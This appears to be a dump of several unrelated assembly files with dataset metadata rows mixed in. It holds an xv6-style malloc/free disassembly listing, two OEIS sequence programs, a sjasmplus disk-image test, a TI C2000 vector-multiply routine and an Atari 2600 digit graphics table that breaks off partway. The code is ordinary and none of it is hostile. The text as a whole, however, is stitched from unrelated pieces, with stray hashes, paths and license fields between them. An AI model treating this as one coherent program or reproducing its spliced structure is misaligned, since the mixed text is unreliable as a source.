7fa: 0f be 17 movsbl (%edi),%edx
7fd: 8b 45 08 mov 0x8(%ebp),%eax
800: e8 1e fe ff ff call 623 <putc>
ap++;
805: 83 c7 04 add $0x4,%edi
808: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
80b: be 00 00 00 00 mov $0x0,%esi
810: e9 df fe ff ff jmp 6f4 <printf+0x30>
putc(fd, c);
815: 89 fa mov %edi,%edx
817: 8b 45 08 mov 0x8(%ebp),%eax
81a: e8 04 fe ff ff call 623 <putc>
state = 0;
81f: be 00 00 00 00 mov $0x0,%esi
824: e9 cb fe ff ff jmp 6f4 <printf+0x30>
}
}
}
829: 8d 65 f4 lea -0xc(%ebp),%esp
82c: 5b pop %ebx
82d: 5e pop %esi
82e: 5f pop %edi
82f: 5d pop %ebp
830: c3 ret
00000831 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
831: f3 0f 1e fb endbr32
835: 55 push %ebp
836: 89 e5 mov %esp,%ebp
838: 57 push %edi
839: 56 push %esi
83a: 53 push %ebx
83b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
83e: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
841: a1 a0 0d 00 00 mov 0xda0,%eax
846: eb 02 jmp 84a <free+0x19>
848: 89 d0 mov %edx,%eax
84a: 39 c8 cmp %ecx,%eax
84c: 73 04 jae 852 <free+0x21>
84e: 39 08 cmp %ecx,(%eax)
850: 77 12 ja 864 <free+0x33>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
852: 8b 10 mov (%eax),%edx
854: 39 c2 cmp %eax,%edx
856: 77 f0 ja 848 <free+0x17>
858: 39 c8 cmp %ecx,%eax
85a: 72 08 jb 864 <free+0x33>
85c: 39 ca cmp %ecx,%edx
85e: 77 04 ja 864 <free+0x33>
860: 89 d0 mov %edx,%eax
862: eb e6 jmp 84a <free+0x19>
break;
if(bp + bp->s.size == p->s.ptr){
864: 8b 73 fc mov -0x4(%ebx),%esi
867: 8d 3c f1 lea (%ecx,%esi,8),%edi
86a: 8b 10 mov (%eax),%edx
86c: 39 d7 cmp %edx,%edi
86e: 74 19 je 889 <free+0x58>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
870: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
873: 8b 50 04 mov 0x4(%eax),%edx
876: 8d 34 d0 lea (%eax,%edx,8),%esi
879: 39 ce cmp %ecx,%esi
87b: 74 1b je 898 <free+0x67>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
87d: 89 08 mov %ecx,(%eax)
freep = p;
87f: a3 a0 0d 00 00 mov %eax,0xda0
}
884: 5b pop %ebx
885: 5e pop %esi
886: 5f pop %edi
887: 5d pop %ebp
888: c3 ret
bp->s.size += p->s.ptr->s.size;
889: 03 72 04 add 0x4(%edx),%esi
88c: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
88f: 8b 10 mov (%eax),%edx
891: 8b 12 mov (%edx),%edx
893: 89 53 f8 mov %edx,-0x8(%ebx)
896: eb db jmp 873 <free+0x42>
p->s.size += bp->s.size;
898: 03 53 fc add -0x4(%ebx),%edx
89b: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
89e: 8b 53 f8 mov -0x8(%ebx),%edx
8a1: 89 10 mov %edx,(%eax)
8a3: eb da jmp 87f <free+0x4e>
000008a5 <morecore>:
static Header*
morecore(uint nu)
{
8a5: 55 push %ebp
8a6: 89 e5 mov %esp,%ebp
8a8: 53 push %ebx
8a9: 83 ec 04 sub $0x4,%esp
8ac: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
8ae: 3d ff 0f 00 00 cmp $0xfff,%eax
8b3: 77 05 ja 8ba <morecore+0x15>
nu = 4096;
8b5: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
8ba: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
8c1: 83 ec 0c sub $0xc,%esp
8c4: 50 push %eax
8c5: e8 41 fd ff ff call 60b <sbrk>
if(p == (char*)-1)
8ca: 83 c4 10 add $0x10,%esp
8cd: 83 f8 ff cmp $0xffffffff,%eax
8d0: 74 1c je 8ee <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
8d2: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
8d5: 83 c0 08 add $0x8,%eax
8d8: 83 ec 0c sub $0xc,%esp
8db: 50 push %eax
8dc: e8 50 ff ff ff call 831 <free>
return freep;
8e1: a1 a0 0d 00 00 mov 0xda0,%eax
8e6: 83 c4 10 add $0x10,%esp
}
8e9: 8b 5d fc mov -0x4(%ebp),%ebx
8ec: c9 leave
8ed: c3 ret
return 0;
8ee: b8 00 00 00 00 mov $0x0,%eax
8f3: eb f4 jmp 8e9 <morecore+0x44>
000008f5 <malloc>:
void*
malloc(uint nbytes)
{
8f5: f3 0f 1e fb endbr32
8f9: 55 push %ebp
8fa: 89 e5 mov %esp,%ebp
8fc: 53 push %ebx
8fd: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
900: 8b 45 08 mov 0x8(%ebp),%eax
903: 8d 58 07 lea 0x7(%eax),%ebx
906: c1 eb 03 shr $0x3,%ebx
909: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
90c: 8b 0d a0 0d 00 00 mov 0xda0,%ecx
912: 85 c9 test %ecx,%ecx
914: 74 04 je 91a <malloc+0x25>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
916: 8b 01 mov (%ecx),%eax
918: eb 4b jmp 965 <malloc+0x70>
base.s.ptr = freep = prevp = &base;
91a: c7 05 a0 0d 00 00 a4 movl $0xda4,0xda0
921: 0d 00 00
924: c7 05 a4 0d 00 00 a4 movl $0xda4,0xda4
92b: 0d 00 00
base.s.size = 0;
92e: c7 05 a8 0d 00 00 00 movl $0x0,0xda8
935: 00 00 00
base.s.ptr = freep = prevp = &base;
938: b9 a4 0d 00 00 mov $0xda4,%ecx
93d: eb d7 jmp 916 <malloc+0x21>
if(p->s.size >= nunits){
if(p->s.size == nunits)
93f: 74 1a je 95b <malloc+0x66>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
941: 29 da sub %ebx,%edx
943: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
946: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
949: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
94c: 89 0d a0 0d 00 00 mov %ecx,0xda0
return (void*)(p + 1);
952: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
955: 83 c4 04 add $0x4,%esp
958: 5b pop %ebx
959: 5d pop %ebp
95a: c3 ret
prevp->s.ptr = p->s.ptr;
95b: 8b 10 mov (%eax),%edx
95d: 89 11 mov %edx,(%ecx)
95f: eb eb jmp 94c <malloc+0x57>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
961: 89 c1 mov %eax,%ecx
963: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
965: 8b 50 04 mov 0x4(%eax),%edx
968: 39 da cmp %ebx,%edx
96a: 73 d3 jae 93f <malloc+0x4a>
if(p == freep)
96c: 39 05 a0 0d 00 00 cmp %eax,0xda0
972: 75 ed jne 961 <malloc+0x6c>
if((p = morecore(nunits)) == 0)
974: 89 d8 mov %ebx,%eax
976: e8 2a ff ff ff call 8a5 <morecore>
97b: 85 c0 test %eax,%eax
97d: 75 e2 jne 961 <malloc+0x6c>
97f: eb d4 jmp 955 <malloc+0x60>
| 33.939971
| 82
| 0.432639
|
5d5cde852711f2569f639fb4410f78f93fe4c489
| 258
|
asm
|
Assembly
|
programs/oeis/198/A198480.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/198/A198480.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/198/A198480.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A198480: 2*7^n - 1.
; 1,13,97,685,4801,33613,235297,1647085,11529601,80707213,564950497,3954653485,27682574401,193778020813,1356446145697,9495123019885,66465861139201,465261027974413,3256827195820897,22797790370746285
mov $1,7
pow $1,$0
mul $1,2
sub $1,1
| 32.25
| 197
| 0.802326
|
fb74a8e737b2d6cbc2bdc37a0100866f047b771f
| 6,844
|
asm
|
Assembly
|
tests/misc/trd/savetrd4.asm
|
fengjixuchui/sjasmplus
|
df0fabd2411bf89e23637fce46d273f52dafbe16
|
[
"BSD-3-Clause"
] | 220
|
2016-10-22T19:44:39.000Z
|
2022-03-29T20:57:04.000Z
|
tests/misc/trd/savetrd4.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 153
|
2018-05-07T10:31:23.000Z
|
2022-03-30T04:35:59.000Z
|
tests/misc/trd/savetrd4.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 51
|
2016-05-12T21:27:36.000Z
|
2022-03-27T15:16:16.000Z
|
; test data SAVETRD for ful disk and full catalogue
device zxspectrum128
ORG #4000
EMPTYTRD "savetrd4.trd","savetrd4" ; create empty TRD image
SAVETRD "savetrd4.trd","0.C",#4000,4600
SAVETRD "savetrd4.trd","1.C",#4000,4600
SAVETRD "savetrd4.trd","2.C",#4000,4600
SAVETRD "savetrd4.trd","3.C",#4000,4600
SAVETRD "savetrd4.trd","4.C",#4000,4600
SAVETRD "savetrd4.trd","5.C",#4000,4600
SAVETRD "savetrd4.trd","6.C",#4000,4600
SAVETRD "savetrd4.trd","7.C",#4000,4600
SAVETRD "savetrd4.trd","8.C",#4000,4600
SAVETRD "savetrd4.trd","9.C",#4000,4600
SAVETRD "savetrd4.trd","10.C",#4000,4600
SAVETRD "savetrd4.trd","11.C",#4000,4600
SAVETRD "savetrd4.trd","12.C",#4000,4600
SAVETRD "savetrd4.trd","13.C",#4000,4600
SAVETRD "savetrd4.trd","14.C",#4000,4600
SAVETRD "savetrd4.trd","15.C",#4000,4600
SAVETRD "savetrd4.trd","16.C",#4000,4600
SAVETRD "savetrd4.trd","17.C",#4000,4600
SAVETRD "savetrd4.trd","18.C",#4000,4600
SAVETRD "savetrd4.trd","19.C",#4000,4600
SAVETRD "savetrd4.trd","20.C",#4000,4600
SAVETRD "savetrd4.trd","21.C",#4000,4600
SAVETRD "savetrd4.trd","22.C",#4000,4600
SAVETRD "savetrd4.trd","23.C",#4000,4600
SAVETRD "savetrd4.trd","24.C",#4000,4600
SAVETRD "savetrd4.trd","25.C",#4000,4600
SAVETRD "savetrd4.trd","26.C",#4000,4600
SAVETRD "savetrd4.trd","27.C",#4000,4600
SAVETRD "savetrd4.trd","28.C",#4000,4600
SAVETRD "savetrd4.trd","29.C",#4000,4600
SAVETRD "savetrd4.trd","30.C",#4000,4600
SAVETRD "savetrd4.trd","31.C",#4000,4600
SAVETRD "savetrd4.trd","32.C",#4000,4600
SAVETRD "savetrd4.trd","33.C",#4000,4600
SAVETRD "savetrd4.trd","34.C",#4000,4600
SAVETRD "savetrd4.trd","35.C",#4000,4600
SAVETRD "savetrd4.trd","36.C",#4000,4600
SAVETRD "savetrd4.trd","37.C",#4000,4600
SAVETRD "savetrd4.trd","38.C",#4000,4600
SAVETRD "savetrd4.trd","39.C",#4000,4600
SAVETRD "savetrd4.trd","40.C",#4000,4600
SAVETRD "savetrd4.trd","41.C",#4000,4600
SAVETRD "savetrd4.trd","42.C",#4000,4600
SAVETRD "savetrd4.trd","43.C",#4000,4600
SAVETRD "savetrd4.trd","44.C",#4000,4600
SAVETRD "savetrd4.trd","45.C",#4000,4600
SAVETRD "savetrd4.trd","46.C",#4000,4600
SAVETRD "savetrd4.trd","47.C",#4000,4600
SAVETRD "savetrd4.trd","48.C",#4000,4600
SAVETRD "savetrd4.trd","49.C",#4000,4600
SAVETRD "savetrd4.trd","50.C",#4000,4600
SAVETRD "savetrd4.trd","51.C",#4000,4600
SAVETRD "savetrd4.trd","52.C",#4000,4600
SAVETRD "savetrd4.trd","53.C",#4000,4600
SAVETRD "savetrd4.trd","54.C",#4000,4600
SAVETRD "savetrd4.trd","55.C",#4000,4600
SAVETRD "savetrd4.trd","56.C",#4000,4600
SAVETRD "savetrd4.trd","57.C",#4000,4600
SAVETRD "savetrd4.trd","58.C",#4000,4600
SAVETRD "savetrd4.trd","59.C",#4000,4600
SAVETRD "savetrd4.trd","60.C",#4000,4600
SAVETRD "savetrd4.trd","61.C",#4000,4600
SAVETRD "savetrd4.trd","62.C",#4000,4600
SAVETRD "savetrd4.trd","63.C",#4000,4600
SAVETRD "savetrd4.trd","64.C",#4000,4600
SAVETRD "savetrd4.trd","65.C",#4000,4600
SAVETRD "savetrd4.trd","66.C",#4000,4600
SAVETRD "savetrd4.trd","67.C",#4000,4600
SAVETRD "savetrd4.trd","68.C",#4000,4600
SAVETRD "savetrd4.trd","69.C",#4000,4600
SAVETRD "savetrd4.trd","70.C",#4000,4600
SAVETRD "savetrd4.trd","71.C",#4000,4600
SAVETRD "savetrd4.trd","72.C",#4000,4600
SAVETRD "savetrd4.trd","73.C",#4000,4600
SAVETRD "savetrd4.trd","74.C",#4000,4600
SAVETRD "savetrd4.trd","75.C",#4000,4600
SAVETRD "savetrd4.trd","76.C",#4000,4600
SAVETRD "savetrd4.trd","77.C",#4000,4600
SAVETRD "savetrd4.trd","78.C",#4000,4600
SAVETRD "savetrd4.trd","79.C",#4000,4600
SAVETRD "savetrd4.trd","80.C",#4000,4600
SAVETRD "savetrd4.trd","81.C",#4000,4600
SAVETRD "savetrd4.trd","82.C",#4000,4600
SAVETRD "savetrd4.trd","83.C",#4000,4600
SAVETRD "savetrd4.trd","84.C",#4000,4600
SAVETRD "savetrd4.trd","85.C",#4000,4600
SAVETRD "savetrd4.trd","86.C",#4000,4600
SAVETRD "savetrd4.trd","87.C",#4000,4600
SAVETRD "savetrd4.trd","88.C",#4000,4600
SAVETRD "savetrd4.trd","89.C",#4000,4600
SAVETRD "savetrd4.trd","90.C",#4000,4600
SAVETRD "savetrd4.trd","91.C",#4000,4600
SAVETRD "savetrd4.trd","92.C",#4000,4600
SAVETRD "savetrd4.trd","93.C",#4000,4600
SAVETRD "savetrd4.trd","94.C",#4000,4600
SAVETRD "savetrd4.trd","95.C",#4000,4600
SAVETRD "savetrd4.trd","96.C",#4000,4600
SAVETRD "savetrd4.trd","97.C",#4000,4600
SAVETRD "savetrd4.trd","98.C",#4000,4600
SAVETRD "savetrd4.trd","99.C",#4000,4600
SAVETRD "savetrd4.trd","100.C",#4000,4600
SAVETRD "savetrd4.trd","101.C",#4000,4600
SAVETRD "savetrd4.trd","102.C",#4000,4600
SAVETRD "savetrd4.trd","103.C",#4000,4600
SAVETRD "savetrd4.trd","104.C",#4000,4600
SAVETRD "savetrd4.trd","105.C",#4000,4600
SAVETRD "savetrd4.trd","106.C",#4000,4600
SAVETRD "savetrd4.trd","107.C",#4000,4600
SAVETRD "savetrd4.trd","108.C",#4000,4600
SAVETRD "savetrd4.trd","109.C",#4000,4600
SAVETRD "savetrd4.trd","110.C",#4000,4600
SAVETRD "savetrd4.trd","111.C",#4000,4600
SAVETRD "savetrd4.trd","112.C",#4000,4600
SAVETRD "savetrd4.trd","113.C",#4000,4600
SAVETRD "savetrd4.trd","114.C",#4000,4600
SAVETRD "savetrd4.trd","115.C",#4000,4600
SAVETRD "savetrd4.trd","116.C",#4000,4600
SAVETRD "savetrd4.trd","117.C",#4000,4600
SAVETRD "savetrd4.trd","118.C",#4000,4600
SAVETRD "savetrd4.trd","119.C",#4000,4600
SAVETRD "savetrd4.trd","120.C",#4000,4600
SAVETRD "savetrd4.trd","121.C",#4000,4600
SAVETRD "savetrd4.trd","122.C",#4000,4600
SAVETRD "savetrd4.trd","123.C",#4000,4600
SAVETRD "savetrd4.trd","124.C",#4000,4600
SAVETRD "savetrd4.trd","125.C",#4000,4600
SAVETRD "savetrd4.trd","126.C",#4000,4600
SAVETRD "savetrd4.trd",&"333.C",#4000,12032 ; error: file not found (before full catalog)
SAVETRD "savetrd4.trd","127.C",#4000,4600
; 128 files
SAVETRD "savetrd4.trd","128_.C",#4000,100 ; error catalogue full
SAVETRD "savetrd4.trd",&"126.C",#4000,16384 ; add 64 sec. = 82 sec.
SAVETRD "savetrd4.trd",&"126.C",#4000,16384 ; add 64 sec. = 146 sec.
SAVETRD "savetrd4.trd",&"126.C",#4000,16384 ; add 64 sec. = 210 sec.
SAVETRD "savetrd4.trd",&"126.C",#4000,12032 ; add 64 sec. = error max 255 sec.
SAVETRD "savetrd4.trd",|"125.C",#4000,10240 ; error catalogue full / no change to TRD
SAVETRD "savetrd4.trd",|"127.C",#4000,16880 ; resave 66 sec / 0 free sectors on trd
SAVETRD "savetrd4.trd",|"127.C",#4000,17000 ; error: no space on the disk / no change to TRD
SAVETRD "savetrd4.trd",&"333.C",#4000,12032 ; error: file not found (even in full catalog)
; disk free 0 sec., 0 erased files
| 41.478788
| 96
| 0.646698
|
15535ecef82032fd1c0ff73885993ecacf39cbaa
| 3,188
|
asm
|
Assembly
|
programs/oeis/017/A017160.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/017/A017160.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/017/A017160.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A017160: a(n) = (8*n + 7)^12.
; 13841287201,129746337890625,21914624432020321,787662783788549761,12381557655576425121,116191483108948578241,766217865410400390625,3909188328478827879681,16409682740640811134241,59091511031674153381441,188031682201497672618081,540360087662636962890625,1425760886846178945447841,3498450596935634189769921,8064241715186276625588961,17605349516220764271966721,36644198070556426025390625,73119371471655725294164801,140515219945627518837736801,261075123337098804348567681,470541197898347534873984161,825005006849765777587890625,1410629873249683485564270561,2357221572577185690065114881,3856887017121283350242637601,6189337220490697154402830401,9755769237612933691650390625,15123710539293666054338805121,23085737796000848857434784161,34735600510611194263176918721,51565999387260564203827465441,75593101654204447168212890625,109513833574845676773925608481,156903087818962082857498424641,222459234928734230114433331041,312307749504346137016129649281,434374369687385917207275390625,598841020838364120317909320641,818699769887346816976612516321,1110422355715432735355050594561,1494765384295483228389391941921,1997734107576381138808837890625,2651730845859653471779023381601,3496917589577226791795034339201,4582826154117173651132848229281,5970253488172346700935405703361,7733484380878508090972900390625,9962888906032515816542942031361,12767947514633659874603497973281,16280762773029363806577930555201,20660123377720792838942199093601,26096193295571563576699462890625,32815906717500287775869592309921,41089158014054007099883470298561,51235885083508853935305470692321,63634154429938853031268885072641,78729367044337105142988525390625,97044715732393126432543586057281,119193036985710246500182286995041,145890213878661931676924574560641,177970300842132701133631229400481,216402556571320625160840087890625,262310587822735519273195371913441,316993824502572670874954368542721,381951565303793484767982024880161,458909853273506385605676338637121,549851462148638510185254150390625,657049297151499182530934707318401,783103538254824010709579716221601,930982879777536811989009705170881,1104070247629210529880484868142561,1306213404656667768955230712890625,1541780885436174222555778050512161,1815723734577332468151810888111681,2133643557240451317422184503752801,2501867427200535611013579150076801,2927530236503150951433769775390625,3418665111637687630792991472534721,3984302564291813457966339655092961,4634579090239450029555549497745921,5380855977848196027347155641399841,6235849138168033184327871337890625,7213770821681211396962910689226081,8330484142655824678048014536845441,9603671390757777612872785217070241,11053017171245266755465100091871681,12700407479806905634768535400390625,14570145886022259902582039813226241,16689188070637629248948480417849121,19087396036478990989280159788445761,21797813390989492910337383832052321,24856963180204979452070761962890625,28305169839594861102236270425975201,32186906916727206510367651443384001,36551172314299206740492526759392481,41451892899843062581570679581301761,46948360430511817991733551025390625,53105700847911685321524902569712961,59995379109122034297528468395530081,67695741835979606723336079402230401
mul $0,8
add $0,7
pow $0,12
| 455.428571
| 3,126
| 0.958281
|
d967d9dfc6d0fa6a1cd03ed67695f26b0b2d2a19
| 4,302
|
asm
|
Assembly
|
c2000/C2000Ware_1_00_06_00/libraries/dsp/FPU/c28/source/vector/mpy_SP_RSxRVxRV_2.asm
|
ramok/Themis_ForHPSDR
|
d0f323a843ac0a488ef816ccb7c828032855a40a
|
[
"Unlicense"
] | null | null | null |
c2000/C2000Ware_1_00_06_00/libraries/dsp/FPU/c28/source/vector/mpy_SP_RSxRVxRV_2.asm
|
ramok/Themis_ForHPSDR
|
d0f323a843ac0a488ef816ccb7c828032855a40a
|
[
"Unlicense"
] | null | null | null |
c2000/C2000Ware_1_00_06_00/libraries/dsp/FPU/c28/source/vector/mpy_SP_RSxRVxRV_2.asm
|
ramok/Themis_ForHPSDR
|
d0f323a843ac0a488ef816ccb7c828032855a40a
|
[
"Unlicense"
] | 1
|
2021-07-21T08:10:37.000Z
|
2021-07-21T08:10:37.000Z
|
;;#############################################################################
;;! \file source/vector/mpy_SP_RSxRVxRV_2.asm
;;!
;;! \brief C-Callable multiplication of a real scalar, a real vector, and a
;;! real vector
;;! \author David M. Alter
;;! \date 07/15/11
;;
;; HISTORY:
;; 07/15/11 - original (D. Alter)
;;
;; DESCRIPTION: C-Callable multiplication of a real scalar, a real vector,
;; and a real vector
;; y[i] = c*w[i]*x[i]
;;
;; FUNCTION:
;; extern void mpy_SP_RSxRVxRV_2(float32 *y, const float32 *w,
;; const float32 *x, const float32 c, const Uint16 N)
;;
;; USAGE: mpy_SP_RSxRVxRV_2(y, w, x, c, N);
;;
;; PARAMETERS: float32 *y = result real array
;; float32 *w = input real array #1
;; float32 *x = input real array #2
;; float32 c = input real scalar
;; Uint16 N = length of w, x and y arrays
;;
;; RETURNS: none
;;
;; BENCHMARK: 3*N + 22 cycles (including the call and return)
;;
;; NOTES:
;; 1) N must be even and at least 4.
;;
;; Group: C2000
;; Target Family: C28x+FPU32
;;
;;#############################################################################
;;$TI Release: C28x Floating Point Unit Library V1.50.00.00 $
;;$Release Date: Oct 18, 2018 $
;;$Copyright: Copyright (C) 2018 Texas Instruments Incorporated -
;; http://www.ti.com/ ALL RIGHTS RESERVED $
;;#############################################################################
.global _mpy_SP_RSxRVxRV_2
.text
_mpy_SP_RSxRVxRV_2:
MOVL XAR6, *-SP[4] ;XAR6 = &x
MOV32 *SP++, R4H ;save R4H on stack
MOV32 *SP++, R5H ;save R5H on stack
MOV32 *SP++, R6H ;save R6H on stack
LSR AL, #1 ;divide N by 2
ADDB AL, #-2 ;subtract 2 from N since RPTB is 'n-1'
;times and last iteration done separately
MOV32 R6H, *XAR5++ ;load first w[i]
MOV32 R2H, *XAR6++ ;load first x[i]
MOV32 R4H, *XAR5++ ;load first w[i+1]
MOV32 R5H, *XAR6++ ;load first x[i+1]
;---Main loop
RPTB end_loop, @AL
MPYF32 R3H, R6H, R2H ;y[i] = w[i]*x[i]
|| MOV32 R6H, *XAR5++ ;load next w[i]
MPYF32 R1H, R4H, R5H ;y[i+1] = w[i+1]*x[i+1]
|| MOV32 R4H, *XAR5++ ;load next w[i+1]
MPYF32 R3H, R3H, R0H ;y[i] = c*w[i]*x[i]
|| MOV32 R2H, *XAR6++ ;load next x[i]
MPYF32 R1H, R1H, R0H ;y[i+1] = c*w[i+1]*x[i+1]
|| MOV32 R5H, *XAR6++ ;load next x[i+1]
MOV32 *XAR4++, R3H ;store y[i]
MOV32 *XAR4++, R1H ;store y[i+1]
end_loop:
;--- Last iteration done separately to avoid possible pointer overrun into
; undefined memory
MPYF32 R3H, R6H, R2H ;y[i] = w[i]*x[i]
|| MOV32 R6H, *--SP ;restore R6H from stack
MPYF32 R1H, R4H, R5H ;y[i+1] = w[i+1]*x[i+1]
|| MOV32 R5H, *--SP ;restore R5H from stack
MPYF32 R3H, R3H, R0H ;y[i] = c*w[i]*x[i]
|| MOV32 R4H, *--SP ;restore R4H from stack
MPYF32 R1H, R1H, R0H ;y[i+1] = c*w[i+1]*x[i+1]
MOV32 *XAR4++, R3H ;store y[i]
MOV32 *XAR4, R1H ;store y[i+1]
;Finish up
LRETR ;return
;end of function _mpy_SP_RSxRVxRV_2()
;*********************************************************************
.end
;;#############################################################################
;; End of File
;;#############################################################################
| 40.584906
| 79
| 0.386564
|
6ffba1ed73429d48fb92c24c683f04adbb8125a1
| 12,620
|
asm
|
Assembly
|
source/mcdigit.asm
|
PaulSlocum/marble-craze
|
559c73c898d3a5e2d6548ae67f0f077b282372ab
|
[
"MIT"
] | 1
|
2020-12-12T21:23:31.000Z
|
2020-12-12T21:23:31.000Z
|
source/mcdigit.asm
|
PaulSlocum/marble-craze
|
559c73c898d3a5e2d6548ae67f0f077b282372ab
|
[
"MIT"
] | null | null | null |
source/mcdigit.asm
|
PaulSlocum/marble-craze
|
559c73c898d3a5e2d6548ae67f0f077b282372ab
|
[
"MIT"
] | null | null | null |
align 256
pfDigits1
; 00
byte %00011011
byte %00011011
byte %00011011
byte %00011011
byte %00011011
byte %00011001
byte %00011001
byte %00011001
byte %00011001
byte %00011001
byte %00011011
byte %00011001
byte %00011011
byte %00011010
byte %00011011
byte %00011011
byte %00011001
byte %00011011
byte %00011001
byte %00011011
byte %00011011
byte %00011011
byte %00011011
byte %00011001
byte %00011001
byte %00011011
byte %00011010
byte %00011011
byte %00011001
byte %00011011
byte %00011011
byte %00011010
byte %00011011
byte %00011011
byte %00011011
;10
byte %00001011
byte %00001011
byte %00001011
byte %00001011
byte %00001011
byte %00001001
byte %00001001
byte %00001001
byte %00001001
byte %00001001
byte %00001011
byte %00001001
byte %00001011
byte %00001010
byte %00001011
byte %00001011
byte %00001001
byte %00001011
byte %00001001
byte %00001011
byte %00001011
byte %00001011
byte %00001011
byte %00001001
byte %00001001
byte %00001011
byte %00001010
byte %00001011
byte %00001001
byte %00001011
byte %00001011
byte %00001010
byte %00001011
byte %00001011
byte %00001011
;20
byte %00011011
byte %00001011
byte %00011011
byte %00010011
byte %00011011
byte %00011001
byte %00001001
byte %00011001
byte %00010001
byte %00011001
byte %00011011
byte %00001001
byte %00011011
byte %00010010
byte %00011011
byte %00011011
byte %00001001
byte %00011011
byte %00010001
byte %00011011
byte %00011011
byte %00001011
byte %00011011
byte %00010001
byte %00011001
byte %00011011
byte %00001010
byte %00011011
byte %00010001
byte %00011011
byte %00011011
byte %00001010
byte %00011011
byte %00010011
byte %00011011
;30
byte %00011011
byte %00001011
byte %00011011
byte %00001011
byte %00011011
byte %00011001
byte %00001001
byte %00011001
byte %00001001
byte %00011001
byte %00011011
byte %00001001
byte %00011011
byte %00001010
byte %00011011
byte %00011011
byte %00001001
byte %00011011
byte %00001001
byte %00011011
byte %00011011
byte %00001011
byte %00011011
byte %00001001
byte %00011001
byte %00011011
byte %00001010
byte %00011011
byte %00001001
byte %00011011
byte %00011011
byte %00001010
byte %00011011
byte %00001011
byte %00011011
;40
byte %00011011
byte %00011011
byte %00011011
byte %00001011
byte %00001011
byte %00011001
byte %00011001
byte %00011001
byte %00001001
byte %00001001
byte %00011011
byte %00011001
byte %00011011
byte %00001010
byte %00001011
byte %00011011
byte %00011001
byte %00011011
byte %00001001
byte %00001011
byte %00011011
byte %00011011
byte %00011011
byte %00001001
byte %00001001
byte %00011011
byte %00011010
byte %00011011
byte %00001001
byte %00001011
byte %00011011
byte %00011010
byte %00011011
byte %00001011
byte %00001011
;50
byte %00011011
byte %00010011
byte %00011011
byte %00001011
byte %00011011
byte %00011001
byte %00010001
byte %00011001
byte %00001001
byte %00011001
byte %00011011
byte %00010001
byte %00011011
byte %00001010
byte %00011011
byte %00011011
byte %00010001
byte %00011011
byte %00001001
byte %00011011
byte %00011011
byte %00010011
byte %00011011
byte %00001001
byte %00011001
byte %00011011
byte %00010010
byte %00011011
byte %00001001
byte %00011011
byte %00011011
byte %00010010
byte %00011011
byte %00001011
byte %00011011
; 60
byte %00011011
byte %00010011
byte %00011011
byte %00011011
byte %00011011
byte %00011001
byte %00010001
byte %00011001
byte %00011001
byte %00011001
byte %00011011
byte %00010001
byte %00011011
byte %00011010
byte %00011011
byte %00011011
byte %00010001
byte %00011011
byte %00011001
byte %00011011
byte %00011011
byte %00010011
byte %00011011
byte %00011001
byte %00011001
byte %00011011
byte %00010010
byte %00011011
byte %00011001
byte %00011011
byte %00011011
byte %00010010
byte %00011011
byte %00011011
byte %00011011
align 256
pfDigits2
; 00
byte %00110110
byte %00110110
byte %00110110
byte %00110110
byte %00110110
byte %00100110
byte %00100110
byte %00100110
byte %00100110
byte %00100110
byte %00110110
byte %00100110
byte %00110110
byte %00010110
byte %00110110
byte %00110110
byte %00100110
byte %00110110
byte %00100110
byte %00110110
byte %00110110
byte %00110110
byte %00110110
byte %00100110
byte %00100110
byte %00110110
byte %00010110
byte %00110110
